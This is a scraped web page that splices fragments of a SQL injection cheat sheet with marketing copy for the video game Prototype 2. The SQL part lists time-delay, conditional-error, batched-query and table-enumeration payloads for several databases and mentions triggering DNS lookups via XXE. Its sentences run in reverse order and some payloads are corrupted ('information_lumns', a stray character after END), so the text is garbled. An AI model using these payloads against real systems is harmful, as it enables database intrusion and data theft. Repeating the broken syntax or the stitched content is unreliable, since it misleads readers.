The following technique leverages an XML external entity ( XXE) vulnerability to trigger a DNS lookup. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred. You can cause the database to perform a DNS lookup to an external domain. SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual You can test a single boolean condition and trigger a time delay if the condition is true. The following will cause an unconditional time delay of 10 seconds. You can cause a time delay in the database when the query is processed. ![]() However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database. With MySQL, batched queries typically cannot be used for SQL injection. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay. Note that while the subsequent queries are executed, the results are not returned to the application. You can use batched queries to execute multiple queries in succession. SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') ![]() SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL ENDÄ¡ = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual You can test a single boolean condition and trigger a database error if the condition is true. SELECT * FROM information_lumns WHERE table_name = 'TABLE-NAME-HERE' SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' You can list the tables that exist in the database, and the columns that those tables contain. This information is useful when formulating more complicated attacks. You can query the database to determine its type and version. You can use comments to truncate a query and remove the portion of the original query that follows your input. Each of the following expressions will return the string ba. You can extract part of a string, from a specified offset with a specified length. ![]() You can concatenate together multiple strings to make a single string. Unleash the true power of infection raging within you and kill Alex Mercer.This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks. The virus has left the city in ruins, but it's not going to stop you from achieving your goal. Track down Mutation perks, including better locomotion abilities, sharper claws and enhanced disguise abilities, to build and customize the ultimate Prototype. Wield the unbelievable Tendril power that allows you to lift and tear apart cars and military vehicles, ensnare powerful infected beasts and shred groups of enemies to pieces. James Heller, and hunt, kill and become anybody who stands in your way to absorb memories and gain new abilities. Take on swarms of highly trained Black watch soldiers. Witness building-size infected beasts ambush entire city streets. Cut through the wastelands of post-viral New York Zero and build a genetic arsenal of all-new biological weapons and abilities on your quest to murder your maker and the devil himself, Alex Mercer. Cut your way through the viral wastelands of NYZ and build up a vast genetic arsenal as you hunt, kill and consume your way toward the ultimate goal, destroying Alex Mercer! Become the ultimate shape-shifting weapon in Prototype 2. Game Description: Prototype 2 takes the unsurpassed carnage of Radical Entertainment's original best-selling open-world game of 2009 - Prototype - and delivers the most over-the-top action game of 2012.
0 Comments
Leave a Reply. |